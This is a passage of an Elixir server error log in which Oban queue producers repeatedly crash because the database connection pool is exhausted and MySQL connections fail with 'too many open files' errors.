    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:51:26.239310Z], limit: 5, uuid: "5fb879d5-97db-4e1b-a40b-5c5416b83924", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.239316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6348>, refresh_timer: #Reference<0.2525715032.1077673987.6325>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:51:26.239104Z], limit: 3, uuid: "5b8dbb85-e518-4b48-ad0b-9fb6b312eac0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.239109Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.34989>, refresh_timer: #Reference<0.2525715032.1077673987.6311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:51:26.239256Z], limit: 50, uuid: "ebfba142-7042-405f-b08c-70d100390f32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.239262Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.34988>, refresh_timer: #Reference<0.2525715032.1077673987.6319>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:39.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:40.174000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:41.404000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:42.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:43.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:45.307000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:47.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:51:38.239686Z], limit: 50, uuid: "e4605dd3-4993-4bcf-98cf-6ca5030a1c35", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.239691Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6697>, refresh_timer: #Reference<0.2525715032.1121189889.141716>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:51:38.240674Z], limit: 5, uuid: "a58ec211-5140-4432-8aee-c06ccf49953d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.240680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.35128>, refresh_timer: #Reference<0.2525715032.1099431938.35126>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:51:38.239233Z], limit: 10, uuid: "a54a44da-dfad-46bc-9439-f2fa7556a347", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.239239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.35130>, refresh_timer: #Reference<0.2525715032.1121189889.141702>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:51:38.239345Z], limit: 5, uuid: "cd858125-6efd-484a-89ec-200856869ac7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.239351Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6696>, refresh_timer: #Reference<0.2525715032.1077673987.6676>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:51:38.239302Z], limit: 3, uuid: "880f21a5-4898-4a64-a099-f09a39efa177", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.35129>, refresh_timer: #Reference<0.2525715032.1099431938.35119>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:51:38.237917Z], limit: 20, uuid: "bc6ed266-a2ff-4831-b3e6-2f3ab4b4dc42", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:38.237924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.35127>, refresh_timer: #Reference<0.2525715032.1099431938.35106>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:50.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:50.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:53.251000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:56.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:57.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
